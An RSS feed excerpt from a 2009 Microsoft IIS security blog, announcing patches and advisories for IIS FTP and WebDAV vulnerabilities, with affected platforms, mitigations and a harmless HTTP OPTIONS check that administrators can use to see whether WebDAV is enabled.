<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://blogs.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:cs="http://blogs.iis.net/"><channel><title>Nazim&amp;#39;s IIS Security Blog : IIS6</title><link>http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx</link><description>Tags: IIS6</description><dc:language>en</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>FTP recursive list after applying MS09-053</title><link>http://blogs.iis.net/nazim/archive/2009/10/15/ftp-recursive-list-after-applying-ms09-053.aspx</link><pubDate>Thu, 15 Oct 2009 21:14:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3460891</guid><dc:creator>naziml</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3460891</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/10/15/ftp-recursive-list-after-applying-ms09-053.aspx#comments</comments><description>&lt;P&gt;We &lt;A href="http://blogs.iis.net/nazim/archive/2009/10/15/fixes-released-for-ftp-vulnerabilities.aspx" mce_href="http://blogs.iis.net/nazim/archive/2009/10/15/fixes-released-for-ftp-vulnerabilities.aspx"&gt;recently released fixes&lt;/A&gt; for the publicly disclosed FTP vulnerabilities. One of the after-effects of applying this update will be that recursive list commands to IIS FTP 5.x, 6.0 will return the non-recursive listing. To make it clear, this feature does not exist on IIS FTP 7.x either, and that is why I did not include those versions in the previous statement. For those that will miss this feature, &lt;A href="http://blogs.msdn.com/robert_mcmurray/archive/2009/09/05/creating-recursive-directory-listing-files-for-ftp-clients.aspx" mce_href="http://blogs.msdn.com/robert_mcmurray/archive/2009/09/05/creating-recursive-directory-listing-files-for-ftp-clients.aspx"&gt;there is a workaround on Robert McMurray’s blog&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3460891" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/FTP/default.aspx">FTP</category></item><item><title>Fixes released for FTP vulnerabilities</title><link>http://blogs.iis.net/nazim/archive/2009/10/15/fixes-released-for-ftp-vulnerabilities.aspx</link><pubDate>Thu, 15 Oct 2009 21:06:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3460882</guid><dc:creator>naziml</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3460882</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/10/15/fixes-released-for-ftp-vulnerabilities.aspx#comments</comments><description>&lt;P&gt;Microsoft has released &lt;A href="http://www.microsoft.com/technet/security/bulletin/MS09-053.mspx" mce_href="http://www.microsoft.com/technet/security/bulletin/MS09-053.mspx"&gt;security bulletin MS09-053&lt;/A&gt; that will address the &lt;A href="http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx" mce_href="http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx"&gt;FTP vulnerabilities&lt;/A&gt; that were publicly disclosed a couple of weeks ago. The information in this bulletin supercedes the previous advisory. &lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3460882" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/FTP/default.aspx">FTP</category></item><item><title>[Updated] IIS FTP server vulnerabilities for FTP 5.x and FTP 6</title><link>http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx</link><pubDate>Fri, 04 Sep 2009 12:00:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3387620</guid><dc:creator>naziml</dc:creator><slash:comments>2</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3387620</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx#comments</comments><description>&lt;SPAN style="FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'"&gt;&lt;?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /&gt;&lt;o:p&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;There have been two recently publicly disclosed vulnerabilities for FTP 5, FTP 5.1 and FTP 6. Wade has gone through great detail to explain what platforms are affected by each vulnerability in his &lt;A href="http://blogs.iis.net/wadeh/archive/2009/09/03/understanding-versions-of-the-iis-ftp-server.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2009/09/03/understanding-versions-of-the-iis-ftp-server.aspx"&gt;blog post&lt;/A&gt;. Microsoft has released and &lt;A href="http://www.microsoft.com/technet/security/advisory/975191.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/975191.mspx"&gt;refreshed an advisory&lt;/A&gt; that covers the details, mitigations and workarounds for the vulnerability. The Microsoft Security Research and Defense team has a &lt;A href="http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx"&gt;blog&lt;/A&gt; about the exploit details for the original vulnerability. Here is the summary including both vulnerabilities:&lt;BR&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Affected platforms: Windows Server 2000, Windows XP and Windows Server 2003, Windows Vista (FTP 6 only), Windows Server 2008 (FTP 6 only). &lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Non-affected platforms: Windows 7, Windows Server 2008 R2.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Windows Server 2008 and Windows Vista ships with FTP 6 by default and is affected by only one of the two disclosed vulnerabilites.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The vulnerabilities does not affect FTP 7 or FTP 7.5 that ships out-of-band fro Windows Vista or Windows Server 2008.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Windows 7 and Windows Server 2008 R2 are entirely unaffected because they contain FTP 7.5.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The newer&amp;nbsp;vulnerability is a Denial of Service issue across all affected platforms and is caused by stack exhaustion.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The&amp;nbsp;first vulnerability is a Remote Code Execution Vulnerability for Windows 2000 and a Denial of Service for all other platforms and is caused by a stack buffer overflow.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Both exploits were not responsibly disclosed to Microsoft. Microsoft has released an &lt;A href="http://www.microsoft.com/technet/security/advisory/975191.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/975191.mspx"&gt;advisory &lt;/A&gt;to assist customers while an update is being engineered.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The stack exhaustion PoC exploit uses anonymous user with read permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The stack buffer overflow PoC exploit uses anonymous user with write permissions to trigger the overflow. The vulnerability is not constrained to anonymous users, and authenticated users can exploit it as well, though this will be auditable.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Windows XP, Windows Server 2003, Windows Vista and Windows Server 2008 are protected from code execution by /GS and no public PoC exploit has yet bypassed this.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;Windows Server 2000 is not protected by &lt;A href="http://msdn.microsoft.com/en-us/library/8dbf701c.aspx" mce_href="http://msdn.microsoft.com/en-us/library/8dbf701c.aspx"&gt;/GS&lt;/A&gt; and the exploit hence results in code execution on that platform under &lt;A href="http://msdn.microsoft.com/en-us/library/ms684190(VS.85).aspx" mce_href="http://msdn.microsoft.com/en-us/library/ms684190(VS.85).aspx"&gt;LocalSystem&lt;/A&gt; context.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The &lt;A href="http://www.microsoft.com/technet/security/advisory/975191.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/975191.mspx"&gt;advisory&lt;/A&gt; has workarounds to protect customers with varied impact on FTP functionality.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;
&lt;LI&gt;
&lt;DIV style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;The &lt;A href="http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/09/01/new-vulnerability-in-iis5-and-iis6.aspx"&gt;Microsoft Security Research &amp;amp; Defense blog&lt;/A&gt; has information about detecting attacks for the first vulnerability&amp;nbsp;that can be used for intrusion prevention. I will update this post with information on the second vulnerability when available.&lt;/SPAN&gt;&lt;/DIV&gt;&lt;/LI&gt;&lt;/OL&gt;
&lt;P style="LINE-HEIGHT: normal; MARGIN: 0in 0in 10pt; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list .5in" class=MsoNormal mce_keep="true"&gt;&lt;SPAN style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Times New Roman','serif'; FONT-SIZE: 10pt; mso-fareast-font-family: 'Times New Roman'; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: AR-SA"&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3387620" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/FTP/default.aspx">FTP</category></item><item><title>Updated advisory for FTP Vulnerability on IIS</title><link>http://blogs.iis.net/nazim/archive/2009/09/04/updated-advisory-for-ftp-vulnerability-on-iis.aspx</link><pubDate>Fri, 04 Sep 2009 04:04:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3386772</guid><dc:creator>naziml</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3386772</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/09/04/updated-advisory-for-ftp-vulnerability-on-iis.aspx#comments</comments><description>&lt;P mce_keep="true"&gt;The public exposure of another vulnerability in the FTP stack has caused a revision in the Microsoft advisory. Please refer the advisory @ &lt;A href="http://www.microsoft.com/technet/security/advisory/975191.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/975191.mspx"&gt;http://www.microsoft.com/technet/security/advisory/975191.mspx&lt;/A&gt;&amp;nbsp;to get updated information on exposure and impact of vulnerabilities. I have previously discussed this information in an earlier &lt;A href="http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx" mce_href="http://blogs.iis.net/nazim/archive/2009/09/04/updated-iis-ftp-server-vulnerabilities-for-ftp-5-x-and-ftp-6.aspx"&gt;blog post&lt;/A&gt;&amp;nbsp;and have updated this post as well. Microsoft Security Response Center (MSRC) has a &lt;A href="http://blogs.technet.com/msrc/archive/2009/09/03/microsoft-security-advisory-975191-revised.aspx" mce_href="http://blogs.technet.com/msrc/archive/2009/09/03/microsoft-security-advisory-975191-revised.aspx"&gt;revised blog&lt;/A&gt; as well.&lt;/P&gt;
&lt;P mce_keep="true"&gt;The one thing I want to clarify before hand is that in the Mitigations section it mentions that FTP is not installed by default on Windows 2000, Windows XP and Windows Server 2003. Please add Windows Vista and above to this list as well. This is probably obvious to most, but I wanted to call it out anyway.&lt;/P&gt;
&lt;P mce_keep="true"&gt;Also there has been a lot of confusion about FTP versions and what is affected. Refer to &lt;A href="http://blogs.iis.net/wadeh/archive/2009/09/03/understanding-versions-of-the-iis-ftp-server.aspx" mce_href="http://blogs.iis.net/wadeh/archive/2009/09/03/understanding-versions-of-the-iis-ftp-server.aspx"&gt;Wade's blog post&lt;/A&gt; on the topic to help clarify things.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3386772" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/FTP/default.aspx">FTP</category></item><item><title>Update for WebDAV vulnerability on IIS 5.x and IIS 6</title><link>http://blogs.iis.net/nazim/archive/2009/06/09/update-for-webdav-vulnerability-on-iis-5-x-and-iis-6.aspx</link><pubDate>Tue, 09 Jun 2009 18:34:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3221060</guid><dc:creator>naziml</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3221060</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/06/09/update-for-webdav-vulnerability-on-iis-5-x-and-iis-6.aspx#comments</comments><description>&lt;P&gt;We now have a &lt;A href="http://www.microsoft.com/technet/security/bulletin/ms09-020.mspx" mce_href="http://www.microsoft.com/technet/security/bulletin/ms09-020.mspx"&gt;security update&lt;/A&gt; available to address the &lt;A href="http://blogs.iis.net/nazim/archive/2009/05/20/webdav-authentication-bypass-on-iis-6-0.aspx" mce_href="http://blogs.iis.net/nazim/archive/2009/05/20/webdav-authentication-bypass-on-iis-6-0.aspx"&gt;WebDAV extension vulnerability&lt;/A&gt; reported earlier. All customers affected should apply the update even if they have mitigated the issue through a workaround.&lt;/P&gt;
&lt;P&gt;The background here is that we had an encoding vulnerability in the WebDAV extension for IIS 5.x and IIS 6 that was publicly disclosed by a party and responsibly disclosed by someone else. Immediately following the public disclosure, we released an &lt;A href="http://www.microsoft.com/technet/security/advisory/971492.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/971492.mspx"&gt;advisory&lt;/A&gt; detailing the issue and workarounds. We then accelerated our release of the fix that is now out this patch Tuesday.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3221060" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/Windows+Security/default.aspx">Windows Security</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/WebDAV/default.aspx">WebDAV</category></item><item><title>WebDAV Authentication Bypass on IIS 5.0, 5.1 and 6.0</title><link>http://blogs.iis.net/nazim/archive/2009/05/20/webdav-authentication-bypass-on-iis-6-0.aspx</link><pubDate>Wed, 20 May 2009 16:52:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3176172</guid><dc:creator>naziml</dc:creator><slash:comments>1</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=3176172</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2009/05/20/webdav-authentication-bypass-on-iis-6-0.aspx#comments</comments><description>&lt;P&gt;Microsoft has released &lt;A href="http://www.microsoft.com/technet/security/advisory/971492.mspx" mce_href="http://www.microsoft.com/technet/security/advisory/971492.mspx"&gt;advisory 971492&lt;/A&gt;&amp;nbsp; about an Elevation of Privilege issue with the WebDAV extension for IIS 5.0, 5.1 and 6.0. These versions of IIS reside on Windows Server 2000, Windows XP and Windows Server 2003 respectively. The advisory contains relevant information for who is affected and what the mitigations and workarounds are. The Microsoft Security Response Center (MSRC) has also release a &lt;A href="http://blogs.technet.com/msrc/archive/2009/05/18/microsoft-security-advisory-971492.aspx" mce_href="http://blogs.technet.com/msrc/archive/2009/05/18/microsoft-security-advisory-971492.aspx"&gt;blog&lt;/A&gt; outlining our response and the Security Research &amp;amp; Defense team has a &lt;A href="http://blogs.technet.com/srd/archive/2009/05/18/more-information-about-the-iis-authentication-bypass.aspx" mce_href="http://blogs.technet.com/srd/archive/2009/05/18/more-information-about-the-iis-authentication-bypass.aspx"&gt;blog&lt;/A&gt; outlining technical details.&lt;/P&gt;
&lt;P&gt;Here are the key takeaways:&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;This only affects WebDAV for IIS 5.0, 5.1 and 6.0. It does not affect WebDAV 7.0 for IIS 7.0. &lt;/LI&gt;
&lt;LI&gt;This issue does not affect non-DAV requests to IIS 5.0, 5.1 and 6.0. &lt;/LI&gt;
&lt;LI&gt;WebDAV is not enabled by default on IIS 6.0 and IIS is not installed by default on for WinXP or Win2k3. &lt;/LI&gt;
&lt;LI&gt;File access checks are still enforced on vulnerable systems. &lt;/LI&gt;
&lt;LI&gt;Anonymous user account is explicitly denied write access to default web root folder in default configuration. &lt;/LI&gt;
&lt;LI&gt;Sharepoint, OWA and Exchange have a different implementation of DAV that is unaffected. &lt;/LI&gt;&lt;/OL&gt;
&lt;P&gt;The advisory has workarounds on how to protect vulnerable systems. To find out if a system is vulnerable, send the HTTP request below to the root of your site. You can use a tool like &lt;A href="http://www.microsoft.com/Downloads/details.aspx?FamilyID=b134a806-d50e-4664-8348-da5c17129210&amp;amp;displaylang=en" mce_href="http://www.microsoft.com/Downloads/details.aspx?FamilyID=b134a806-d50e-4664-8348-da5c17129210&amp;amp;displaylang=en"&gt;WFetch&lt;/A&gt; to send out requests to your sites (even SSL protected ones).&lt;/P&gt;
&lt;BLOCKQUOTE&gt;
&lt;P&gt;&lt;FONT size=2 face="Courier New"&gt;REQUEST: **************\n &lt;BR&gt;OPTIONS / HTTP/1.1\r\n &lt;BR&gt;Host: 127.0.0.1\r\n &lt;BR&gt;Accept: */*\r\n &lt;BR&gt;\r\n &lt;BR&gt;RESPONSE: **************\n &lt;BR&gt;HTTP/1.1 200 OK\r\n &lt;BR&gt;Server: Microsoft-IIS/5.0\r\n &lt;BR&gt;Date: Tue, 19 May 2009 20:13:53 GMT\r\n &lt;BR&gt;&lt;FONT color=#ff0000&gt;MS-Author-Via: MS-FP/4.0,DAV\r\n&lt;/FONT&gt; &lt;BR&gt;Content-Length: 0\r\n &lt;BR&gt;Accept-Ranges: none\r\n &lt;BR&gt;DASL: &amp;lt;DAV:sql&amp;gt;\r\n &lt;BR&gt;&lt;FONT color=#ff0000&gt;DAV: 1, 2\r\n&lt;/FONT&gt; &lt;BR&gt;Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH\r\n &lt;BR&gt;Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK\r\n &lt;BR&gt;Cache-Control: private\r\n &lt;BR&gt;\r\n&lt;/FONT&gt;&lt;/P&gt;&lt;BR&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;The interesting portions of the response are highlighted in &lt;FONT color=#ff0000&gt;red&lt;/FONT&gt;. To check if WebDAV is enabled and in effect, check the following items in the response.&lt;/P&gt;
&lt;OL&gt;
&lt;LI&gt;Need to receive a 2xx response to OPTIONS request made to root of site to analyze the result. If this is not the case, the test is inconclusive. &lt;/LI&gt;
&lt;LI&gt;Response contains the DAV header with value 1,2. &lt;/LI&gt;
&lt;LI&gt;Response contains MS-Author-Via header which contains DAV value. &lt;/LI&gt;
&lt;LI&gt;Response DOES NOT contain X-MSDAVEXT header. Existence of this means its Sharepoint’s DAV, which is a different implementation that is not susceptible to this vulnerability. &lt;/LI&gt;&lt;/OL&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=3176172" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS5X/default.aspx">IIS5X</category><category domain="http://blogs.iis.net/nazim/archive/tags/WebDAV/default.aspx">WebDAV</category></item><item><title>Token Kidnapping fixed</title><link>http://blogs.iis.net/nazim/archive/2009/04/17/token-kidnapping-fixed.aspx</link><pubDate>Fri, 17 Apr 2009 20:17:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:3099009</guid><dc:creator>naziml</dc:creator><slash:comments>2</slash:comments><wfw:commentRss 